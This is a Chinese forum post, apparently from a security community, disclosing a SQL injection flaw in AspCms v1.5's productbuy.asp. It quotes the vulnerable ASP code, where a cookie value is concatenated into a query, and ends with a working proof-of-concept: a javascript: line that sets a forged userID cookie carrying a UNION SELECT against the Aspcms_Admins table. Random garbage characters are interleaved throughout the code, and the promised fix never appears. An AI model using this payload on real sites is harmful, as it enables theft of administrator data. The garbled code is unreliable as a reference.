AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
1 h! H3 d$ n0 W* c" J废话不多说，看代码：

<%

if action = "buy" then
2 U  q% b& \/ r
$ a! x8 Z' d/ f) j$ o        addOrder()
" w  k* R7 j- E  V3 F
else

        echoContent()

0 `5 i# T+ G2 ^) C# o7 wend if
: X; W5 G  ?; n' N9 |! L

) z1 A" j5 \4 T3 d; G
……略过

4 D% b( b; p# u* E& s  d: X
" S# t+ p& B2 q! ]5 T; H; O" D
Sub echoContent()
. p  b+ F- D7 Y+ C
        dim id
  z7 V, {9 p% o. R! X% }
( x" f4 j* S' v        id=getForm("id","get")
" J/ ~$ D: ^" s3 N2 `2 y
        
: ?- {! s! f0 W9 N3 d* x
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
* h! u; u$ Q8 d  y  j# M; V% L
2 f( v* [, O2 O# e% n4 F4 C% [( [        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
1 X! v+ v9 W! e4 r2 Q8 g
        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

& s6 \4 W( y1 K: {

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
$ t, G% A) V8 E& d* ~  x
7 B5 ^3 c# v/ ]) z8 U2 G! p        selectproduct=rsObj(0)
. e3 l+ J2 T% N3 @7 l0 {
        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 h# g" b2 S  E4 s% @
- f/ ^) j1 r- w. e) a$ K        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
( o# l$ s" `/ ]- }
        if rCookie("loginstatus")=1 then  

# ~9 V8 B+ R0 I6 I4 K                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

1 J' [* E% Y! u9 R                linkman=rsObj("truename")
6 @& ]; N9 @1 [
2 n' P0 w( U* }                gender=rsObj("gender")
; e4 O' u5 ?) z8 D; ^4 \9 q# U
                phone=rsObj("phone")
0 J- g$ S& s$ y% n! q& k, a* l
1 m4 V, {4 H$ b                mobile=rsObj("mobile")
2 Y0 L" l$ ]  s$ I
                email=rsObj("email")
; A% j$ f/ I# V# p" x3 k) Q
0 d% o! w  D( f, \                qq=rsObj("qq")

                address=rsObj("address")

                postcode=rsObj("postcode")
" O8 |8 E/ O7 e/ C( N/ h
        else

4 O6 K, P) Z$ l  k/ O                gender=1

) Z% w6 W9 u: I& _        end if

) N. o3 l( r; ^        rsObj.close()
4 y: p6 T' r" }; u
               

        with templateObj

$ ]; t8 L& v( W( q) i$ [                .content=loadFile(templatePath)        
# t" ^( U) d1 L4 k% E: d2 b4 v
                .parseHtml()
' Q3 M; `" v7 T% ?; r
5 U8 K8 N; G# n) l                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
" R  R& {% P5 y' Y2 Q" e9 O1 e* e0 v
: l$ r8 B! p( z4 }+ a( u                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
7 `7 o1 K4 ?8 q" Z$ W- X+ c, O
$ Z% ?5 k3 m) H, L! _                .content=replaceStr(.content,"[aspcms:gender]",gender)               
' ^* _+ d2 }( f( J3 E. {+ g5 y0 v
- {+ }6 K$ U" p4 N. x5 V" U$ L0 g                .content=replaceStr(.content,"[aspcms:phone]",phone)               

8 T& ^" v; |. e3 ^                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

; j/ C# f8 x  w$ y5 v$ H                .content=replaceStr(.content,"[aspcms:email]",email)                        
# M* a$ P0 x$ {( H+ o/ P1 D
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
, D' f" [( {) D1 L/ {) c, C4 j8 Z
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
2 _% i1 X- a  v9 Y% p/ G
                echo .content
) V6 G5 P, u/ h# X$ [& i/ C$ |
  U/ V" [( b6 M) J( ~+ c0 i0 h        end with
6 G) a3 a- R: j/ z3 ]0 x" \
        set templateobj =nothing : terminateAllObjects

7 i* h$ w# ~7 _6 n6 B! JEnd Sub
* e: b2 p$ Z& h0 C- l0 O7 m漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

1 @2 G2 N7 x7 L" u